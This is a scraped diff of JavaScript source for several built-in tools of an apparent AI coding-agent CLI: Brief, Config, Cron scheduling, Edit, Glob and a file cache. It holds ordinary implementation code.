// Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
|
|
136
|
+
// external SIGKILL. Surface so the model can distinguish from our
|
|
137
|
+
// own timeout path above.
|
|
138
|
+
output = `Killed by signal: ${sig}\n${output}`;
|
|
139
|
+
}
|
|
140
|
+
const hint = backend.hintForBlockedOutput?.(result.stderr);
|
|
141
|
+
if (hint)
|
|
142
|
+
output += hint;
|
|
143
|
+
if (output.length > MAX_OUTPUT) {
|
|
144
|
+
output =
|
|
145
|
+
output.slice(0, MAX_OUTPUT) +
|
|
146
|
+
`\n\n... output truncated (${output.length} chars total)`;
|
|
147
|
+
}
|
|
148
|
+
return output;
|
|
149
|
+
}
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* BriefTool — send structured messages with markdown support.
|
|
3
|
+
*/
|
|
4
|
+
export const briefToolDef = {
|
|
5
|
+
name: "Brief",
|
|
6
|
+
description: "Send a structured brief/summary message. Useful for providing concise status updates, " +
|
|
7
|
+
"summaries, or formatted output to the user.",
|
|
8
|
+
inputSchema: {
|
|
9
|
+
type: "object",
|
|
10
|
+
properties: {
|
|
11
|
+
title: {
|
|
12
|
+
type: "string",
|
|
13
|
+
description: "Brief title or heading",
|
|
14
|
+
},
|
|
15
|
+
content: {
|
|
16
|
+
type: "string",
|
|
17
|
+
description: "Markdown-formatted content of the brief",
|
|
18
|
+
},
|
|
19
|
+
status: {
|
|
20
|
+
type: "string",
|
|
21
|
+
enum: ["info", "success", "warning", "error"],
|
|
22
|
+
description: "Status level for the brief (default: info)",
|
|
23
|
+
},
|
|
24
|
+
},
|
|
25
|
+
required: ["content"],
|
|
26
|
+
},
|
|
27
|
+
};
|
|
28
|
+
export async function briefTool(args) {
|
|
29
|
+
const title = args.title;
|
|
30
|
+
const content = args.content;
|
|
31
|
+
const status = args.status ?? "info";
|
|
32
|
+
const icons = {
|
|
33
|
+
info: "ℹ",
|
|
34
|
+
success: "✓",
|
|
35
|
+
warning: "⚠",
|
|
36
|
+
error: "✗",
|
|
37
|
+
};
|
|
38
|
+
const icon = icons[status] ?? "ℹ";
|
|
39
|
+
const header = title ? `${icon} ${title}\n\n` : "";
|
|
40
|
+
return `${header}${content}`;
|
|
41
|
+
}
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ConfigTool — read or update project settings.
|
|
3
|
+
*/
|
|
4
|
+
import { existsSync, readFileSync, writeFileSync, mkdirSync } from "node:fs";
|
|
5
|
+
import { join } from "node:path";
|
|
6
|
+
export const configToolDef = {
|
|
7
|
+
name: "Config",
|
|
8
|
+
description: "Read or update the project's .code-shell/settings.json configuration. " +
|
|
9
|
+
"Use action 'read' to see current settings, or 'write' to update a key.",
|
|
10
|
+
inputSchema: {
|
|
11
|
+
type: "object",
|
|
12
|
+
properties: {
|
|
13
|
+
action: {
|
|
14
|
+
type: "string",
|
|
15
|
+
enum: ["read", "write"],
|
|
16
|
+
description: "'read' to view settings, 'write' to update a key",
|
|
17
|
+
},
|
|
18
|
+
key: {
|
|
19
|
+
type: "string",
|
|
20
|
+
description: "Dot-notation key path (e.g. 'model.temperature'). Required for 'write'.",
|
|
21
|
+
},
|
|
22
|
+
value: {
|
|
23
|
+
description: "Value to set. Required for 'write'.",
|
|
24
|
+
},
|
|
25
|
+
},
|
|
26
|
+
required: ["action"],
|
|
27
|
+
},
|
|
28
|
+
};
|
|
29
|
+
export async function configTool(args) {
|
|
30
|
+
const action = args.action;
|
|
31
|
+
const cwd = args.__cwd ?? process.cwd();
|
|
32
|
+
const configPath = join(cwd, ".code-shell", "settings.json");
|
|
33
|
+
if (action === "read") {
|
|
34
|
+
if (!existsSync(configPath)) {
|
|
35
|
+
return "No project settings found. Use /init to create one.";
|
|
36
|
+
}
|
|
37
|
+
const content = readFileSync(configPath, "utf-8");
|
|
38
|
+
return content;
|
|
39
|
+
}
|
|
40
|
+
if (action === "write") {
|
|
41
|
+
const key = args.key;
|
|
42
|
+
const value = args.value;
|
|
43
|
+
if (!key)
|
|
44
|
+
return "Error: 'key' is required for write action.";
|
|
45
|
+
if (value === undefined)
|
|
46
|
+
return "Error: 'value' is required for write action.";
|
|
47
|
+
// Read or create settings
|
|
48
|
+
let settings = {};
|
|
49
|
+
if (existsSync(configPath)) {
|
|
50
|
+
settings = JSON.parse(readFileSync(configPath, "utf-8"));
|
|
51
|
+
}
|
|
52
|
+
// Set nested key
|
|
53
|
+
const parts = key.split(".");
|
|
54
|
+
let obj = settings;
|
|
55
|
+
for (let i = 0; i < parts.length - 1; i++) {
|
|
56
|
+
if (typeof obj[parts[i]] !== "object" || obj[parts[i]] === null) {
|
|
57
|
+
obj[parts[i]] = {};
|
|
58
|
+
}
|
|
59
|
+
obj = obj[parts[i]];
|
|
60
|
+
}
|
|
61
|
+
obj[parts[parts.length - 1]] = value;
|
|
62
|
+
mkdirSync(join(cwd, ".code-shell"), { recursive: true });
|
|
63
|
+
writeFileSync(configPath, JSON.stringify(settings, null, 2), "utf-8");
|
|
64
|
+
return `Updated ${key} = ${JSON.stringify(value)}`;
|
|
65
|
+
}
|
|
66
|
+
return `Unknown action: ${action}. Use 'read' or 'write'.`;
|
|
67
|
+
}
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Cron tools — CronCreate, CronDelete, CronList.
|
|
3
|
+
*/
|
|
4
|
+
import type { ToolDefinition } from "../../types.js";
|
|
5
|
+
export declare const cronCreateToolDef: ToolDefinition;
|
|
6
|
+
export declare function cronCreateTool(args: Record<string, unknown>): Promise<string>;
|
|
7
|
+
export declare const cronDeleteToolDef: ToolDefinition;
|
|
8
|
+
export declare function cronDeleteTool(args: Record<string, unknown>): Promise<string>;
|
|
9
|
+
export declare const cronListToolDef: ToolDefinition;
|
|
10
|
+
export declare function cronListTool(_args: Record<string, unknown>): Promise<string>;
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Cron tools — CronCreate, CronDelete, CronList.
|
|
3
|
+
*/
|
|
4
|
+
import { cronScheduler } from "../../cron/scheduler.js";
|
|
5
|
+
export const cronCreateToolDef = {
|
|
6
|
+
name: "CronCreate",
|
|
7
|
+
description: "Create a scheduled recurring task. The task will run automatically at the specified interval. " +
|
|
8
|
+
"Schedule format: '30s', '5m', '1h', '1d'.",
|
|
9
|
+
inputSchema: {
|
|
10
|
+
type: "object",
|
|
11
|
+
properties: {
|
|
12
|
+
name: { type: "string", description: "Name for the cron job" },
|
|
13
|
+
schedule: { type: "string", description: "Interval (e.g. '5m', '1h', '30s')" },
|
|
14
|
+
prompt: { type: "string", description: "The task prompt to run on each execution" },
|
|
15
|
+
},
|
|
16
|
+
required: ["name", "schedule", "prompt"],
|
|
17
|
+
},
|
|
18
|
+
};
|
|
19
|
+
export async function cronCreateTool(args) {
|
|
20
|
+
const name = args.name;
|
|
21
|
+
const schedule = args.schedule;
|
|
22
|
+
const prompt = args.prompt;
|
|
23
|
+
if (!name || !schedule || !prompt)
|
|
24
|
+
return "Error: name, schedule, and prompt are required";
|
|
25
|
+
const job = cronScheduler.create(name, schedule, prompt);
|
|
26
|
+
return `Cron job #${job.id} "${job.name}" created. Schedule: every ${job.schedule}.`;
|
|
27
|
+
}
|
|
28
|
+
export const cronDeleteToolDef = {
|
|
29
|
+
name: "CronDelete",
|
|
30
|
+
description: "Delete a scheduled cron job by ID.",
|
|
31
|
+
inputSchema: {
|
|
32
|
+
type: "object",
|
|
33
|
+
properties: {
|
|
34
|
+
jobId: { type: "string", description: "The cron job ID to delete" },
|
|
35
|
+
},
|
|
36
|
+
required: ["jobId"],
|
|
37
|
+
},
|
|
38
|
+
};
|
|
39
|
+
export async function cronDeleteTool(args) {
|
|
40
|
+
const id = args.jobId;
|
|
41
|
+
if (!id)
|
|
42
|
+
return "Error: jobId is required";
|
|
43
|
+
const deleted = cronScheduler.delete(id);
|
|
44
|
+
return deleted ? `Cron job #${id} deleted.` : `Cron job #${id} not found.`;
|
|
45
|
+
}
|
|
46
|
+
export const cronListToolDef = {
|
|
47
|
+
name: "CronList",
|
|
48
|
+
description: "List all scheduled cron jobs.",
|
|
49
|
+
inputSchema: { type: "object", properties: {} },
|
|
50
|
+
};
|
|
51
|
+
export async function cronListTool(_args) {
|
|
52
|
+
const jobs = cronScheduler.list();
|
|
53
|
+
if (jobs.length === 0)
|
|
54
|
+
return "No cron jobs scheduled.";
|
|
55
|
+
const lines = jobs.map((j) => {
|
|
56
|
+
const status = j.enabled ? "active" : "paused";
|
|
57
|
+
const lastRun = j.lastRun ? new Date(j.lastRun).toLocaleString() : "never";
|
|
58
|
+
return ` #${j.id} "${j.name}" [${status}] every ${j.schedule} | runs: ${j.runCount} | last: ${lastRun}`;
|
|
59
|
+
});
|
|
60
|
+
return `Cron Jobs (${jobs.length}):\n${lines.join("\n")}`;
|
|
61
|
+
}
|
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Built-in Edit file tool — exact string replacement.
|
|
3
|
+
*/
|
|
4
|
+
import { readFile, writeFile } from "node:fs/promises";
|
|
5
|
+
import { existsSync } from "node:fs";
|
|
6
|
+
import { fileCache } from "./file-cache.js";
|
|
7
|
+
export const editToolDef = {
|
|
8
|
+
name: "Edit",
|
|
9
|
+
description: "Perform exact string replacements in a file. " +
|
|
10
|
+
"The old_string must match exactly (including whitespace/indentation) and be unique in the file. " +
|
|
11
|
+
"IMPORTANT: Keep old_string as SHORT as possible while still being unique — " +
|
|
12
|
+
"include just enough surrounding context lines to uniquely identify the location. " +
|
|
13
|
+
"Do NOT copy entire functions or large blocks when a few lines suffice.",
|
|
14
|
+
inputSchema: {
|
|
15
|
+
type: "object",
|
|
16
|
+
properties: {
|
|
17
|
+
file_path: { type: "string", description: "Absolute path to the file to edit" },
|
|
18
|
+
old_string: {
|
|
19
|
+
type: "string",
|
|
20
|
+
description: "The exact string to find. Keep it SHORT — only enough lines to be unique in the file. " +
|
|
21
|
+
"Include 1-2 lines of surrounding context if needed for uniqueness.",
|
|
22
|
+
},
|
|
23
|
+
new_string: { type: "string", description: "The replacement string" },
|
|
24
|
+
replace_all: {
|
|
25
|
+
type: "boolean",
|
|
26
|
+
description: "Replace all occurrences (default: false)",
|
|
27
|
+
default: false,
|
|
28
|
+
},
|
|
29
|
+
},
|
|
30
|
+
required: ["file_path", "old_string", "new_string"],
|
|
31
|
+
},
|
|
32
|
+
};
|
|
33
|
+
export async function editTool(args) {
|
|
34
|
+
const filePath = args.file_path;
|
|
35
|
+
const oldString = args.old_string;
|
|
36
|
+
const newString = args.new_string;
|
|
37
|
+
const replaceAll = args.replace_all ?? false;
|
|
38
|
+
if (!filePath)
|
|
39
|
+
return "Error: file_path is required";
|
|
40
|
+
if (oldString === undefined)
|
|
41
|
+
return "Error: old_string is required";
|
|
42
|
+
if (newString === undefined)
|
|
43
|
+
return "Error: new_string is required";
|
|
44
|
+
if (oldString === newString)
|
|
45
|
+
return "Error: old_string and new_string must be different";
|
|
46
|
+
if (!existsSync(filePath))
|
|
47
|
+
return `Error: File not found: ${filePath}`;
|
|
48
|
+
try {
|
|
49
|
+
const content = await readFile(filePath, "utf-8");
|
|
50
|
+
if (!content.includes(oldString)) {
|
|
51
|
+
return "Error: old_string not found in file";
|
|
52
|
+
}
|
|
53
|
+
if (!replaceAll) {
|
|
54
|
+
const firstIdx = content.indexOf(oldString);
|
|
55
|
+
const lastIdx = content.lastIndexOf(oldString);
|
|
56
|
+
if (firstIdx !== lastIdx) {
|
|
57
|
+
return "Error: old_string is not unique in the file. Provide more context or use replace_all.";
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
const updated = replaceAll
|
|
61
|
+
? content.split(oldString).join(newString)
|
|
62
|
+
: content.replace(oldString, newString);
|
|
63
|
+
await writeFile(filePath, updated, "utf-8");
|
|
64
|
+
fileCache.invalidate(filePath);
|
|
65
|
+
const count = replaceAll
|
|
66
|
+
? (content.split(oldString).length - 1)
|
|
67
|
+
: 1;
|
|
68
|
+
// Generate a compact diff summary
|
|
69
|
+
const oldLines = oldString.split("\n");
|
|
70
|
+
const newLines = newString.split("\n");
|
|
71
|
+
const diffSummary = generateCompactDiff(oldLines, newLines, filePath);
|
|
72
|
+
return `Successfully edited ${filePath} (${count} replacement${count > 1 ? "s" : ""})\n${diffSummary}`;
|
|
73
|
+
}
|
|
74
|
+
catch (err) {
|
|
75
|
+
return `Error editing file: ${err.message}`;
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
function generateCompactDiff(oldLines, newLines, filePath) {
|
|
79
|
+
const lines = [];
|
|
80
|
+
const maxShow = 8;
|
|
81
|
+
// Show removed lines (prefix with -)
|
|
82
|
+
const removedCount = oldLines.length;
|
|
83
|
+
const showRemoved = oldLines.slice(0, maxShow);
|
|
84
|
+
for (const line of showRemoved) {
|
|
85
|
+
lines.push(` - ${line}`);
|
|
86
|
+
}
|
|
87
|
+
if (removedCount > maxShow) {
|
|
88
|
+
lines.push(` ... +${removedCount - maxShow} more removed`);
|
|
89
|
+
}
|
|
90
|
+
// Show added lines (prefix with +)
|
|
91
|
+
const addedCount = newLines.length;
|
|
92
|
+
const showAdded = newLines.slice(0, maxShow);
|
|
93
|
+
for (const line of showAdded) {
|
|
94
|
+
lines.push(` + ${line}`);
|
|
95
|
+
}
|
|
96
|
+
if (addedCount > maxShow) {
|
|
97
|
+
lines.push(` ... +${addedCount - maxShow} more added`);
|
|
98
|
+
}
|
|
99
|
+
return lines.join("\n");
|
|
100
|
+
}
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
declare class FileStateCache {
|
|
2
|
+
private cache;
|
|
3
|
+
get(filePath: string): Promise<string | null>;
|
|
4
|
+
set(filePath: string, content: string, mtimeMs: number): void;
|
|
5
|
+
/** Invalidate a specific path (after Write/Edit). */
|
|
6
|
+
invalidate(filePath: string): void;
|
|
7
|
+
clear(): void;
|
|
8
|
+
get size(): number;
|
|
9
|
+
}
|
|
10
|
+
export declare const fileCache: FileStateCache;
|
|
11
|
+
export {};
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* File state cache — avoids re-reading unchanged files within a session.
|
|
3
|
+
* Keyed by absolute path, invalidated on mtime change or manual write.
|
|
4
|
+
*/
|
|
5
|
+
import { stat } from "node:fs/promises";
|
|
6
|
+
class FileStateCache {
|
|
7
|
+
cache = new Map();
|
|
8
|
+
async get(filePath) {
|
|
9
|
+
const entry = this.cache.get(filePath);
|
|
10
|
+
if (!entry)
|
|
11
|
+
return null;
|
|
12
|
+
try {
|
|
13
|
+
const s = await stat(filePath);
|
|
14
|
+
if (s.mtimeMs === entry.mtimeMs)
|
|
15
|
+
return entry.content;
|
|
16
|
+
// File changed on disk — invalidate
|
|
17
|
+
this.cache.delete(filePath);
|
|
18
|
+
return null;
|
|
19
|
+
}
|
|
20
|
+
catch {
|
|
21
|
+
this.cache.delete(filePath);
|
|
22
|
+
return null;
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
set(filePath, content, mtimeMs) {
|
|
26
|
+
this.cache.set(filePath, { content, mtimeMs });
|
|
27
|
+
}
|
|
28
|
+
/** Invalidate a specific path (after Write/Edit). */
|
|
29
|
+
invalidate(filePath) {
|
|
30
|
+
this.cache.delete(filePath);
|
|
31
|
+
}
|
|
32
|
+
clear() {
|
|
33
|
+
this.cache.clear();
|
|
34
|
+
}
|
|
35
|
+
get size() {
|
|
36
|
+
return this.cache.size;
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
export const fileCache = new FileStateCache();
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Built-in Glob file search tool.
|
|
3
|
+
*/
|
|
4
|
+
import type { ToolDefinition } from "../../types.js";
|
|
5
|
+
import type { ToolContext } from "../context.js";
|
|
6
|
+
export declare const globToolDef: ToolDefinition;
|
|
7
|
+
export declare function globTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Built-in Glob file search tool.
|
|
3
|
+
*/
|
|
4
|
+
import { glob } from "glob";
|
|
5
|
+
import { stat } from "node:fs/promises";
|
|
6
|
+
import * as path from "node:path";
|
|
7
|
+
export const globToolDef = {
|
|
8
|
+
name: "Glob",
|
|
9
|
+
description: "Fast file pattern matching. Returns matching file paths sorted by modification time. " +
|
|
10
|
+
'Supports patterns like "**/*.ts" or "src/**/*.tsx". ' +
|
|
11
|
+
"Use this to discover project structure before reading specific files.",
|
|
12
|
+
inputSchema: {
|
|
13
|
+
type: "object",
|
|
14
|
+
properties: {
|
|
15
|
+
pattern: { type: "string", description: "Glob pattern to match files against" },
|
|
16
|
+
path: { type: "string", description: "Directory to search in (default: cwd)" },
|
|
17
|
+
},
|
|
18
|
+
required: ["pattern"],
|
|
19
|
+
},
|
|
20
|
+
};
|
|
21
|
+
export async function globTool(args, ctx) {
|
|
22
|
+
const pattern = args.pattern;
|
|
23
|
+
if (!pattern)
|
|
24
|
+
return "Error: pattern is required";
|
|
25
|
+
// A4: resolve search root against ctx.cwd. Relative args.path is
|
|
26
|
+
// resolved against ctx.cwd; absolute args.path is used as-is.
|
|
27
|
+
const baseDir = ctx?.cwd ?? process.cwd();
|
|
28
|
+
const argPath = args.path;
|
|
29
|
+
const cwd = argPath
|
|
30
|
+
? path.isAbsolute(argPath)
|
|
31
|
+
? argPath
|
|
32
|
+
: path.resolve(baseDir, argPath)
|
|
33
|
+
: baseDir;
|
|
34
|
+
try {
|
|
35
|
+
const matches = await glob(pattern, {
|
|
36
|
+
cwd,
|
|
37
|
+
absolute: true,
|
|
38
|
+
nodir: true,
|
|
39
|
+
dot: false,
|
|
40
|
+
ignore: ["**/node_modules/**", "**/.git/**", "**/dist/**", "**/.next/**", "**/coverage/**"],
|
|
41
|
+
});
|
|
42
|
+
if (matches.length === 0) {
|
|
43
|
+
return "No files matched the pattern.";
|
|
44
|
+
}
|
|
45
|
+
// Get file stats for sorting and display
|
|
46
|
+
const withStats = await Promise.all(matches.slice(0, 200).map(async (filePath) => {
|
|
47
|
+
try {
|
|
48
|
+
const s = await stat(filePath);
|
|
49
|
+
return { path: filePath, size: s.size, mtime: s.mtimeMs };
|
|
50
|
+
}
|
|
51
|
+
catch {
|
|
52
|
+
return { path: filePath, size: 0, mtime: 0 };
|
|
53
|
+
}
|
|
54
|
+
}));
|
|
55
|
+
// Sort by modification time (newest first)
|
|
56
|
+
withStats.sort((a, b) => b.mtime - a.mtime);
|
|
57
|
+
// Format with relative paths and sizes
|
|
58
|
+
const cwdPrefix = cwd.endsWith("/") ? cwd : cwd + "/";
|
|
59
|
+
const lines = withStats.map((f) => {
|
|
60
|
+
const rel = f.path.startsWith(cwdPrefix) ? f.path.slice(cwdPrefix.length) : f.path;
|
|
61
|
+
const sizeStr = f.size < 1024 ? `${f.size}B` : `${Math.round(f.size / 1024)}KB`;
|
|
62
|
+
return `${rel} (${sizeStr})`;
|
|
63
|
+
});
|
|
64
|
+
let result = lines.join("\n");
|
|
65
|
+
if (matches.length > 200) {
|
|
66
|
+
result += `\n\n... and ${matches.length - 200} more files (${matches.length} total)`;
|
|
67
|
+
}
|
|
68
|
+
else {
|
|
69
|
+
result = `${matches.length} files matched:\n${result}`;
|
|
70
|
+
}
|
|
71
|
+
return result;
|
|
72
|
+
}
|
|
73
|
+
catch (err) {
|
|
74
|
+
return `Error in glob: ${err.message}`;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Built-in Grep content search tool.
|
|
3
|
+
*/
|
|
4
|
+
import type { ToolDefinition } from "../../types.js";
|
|
5
|
+
import type { ToolContext } from "../context.js";
|
|
6
|
+
export declare const grepToolDef: ToolDefinition;
|
|
7
|
+
export declare function grepTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
|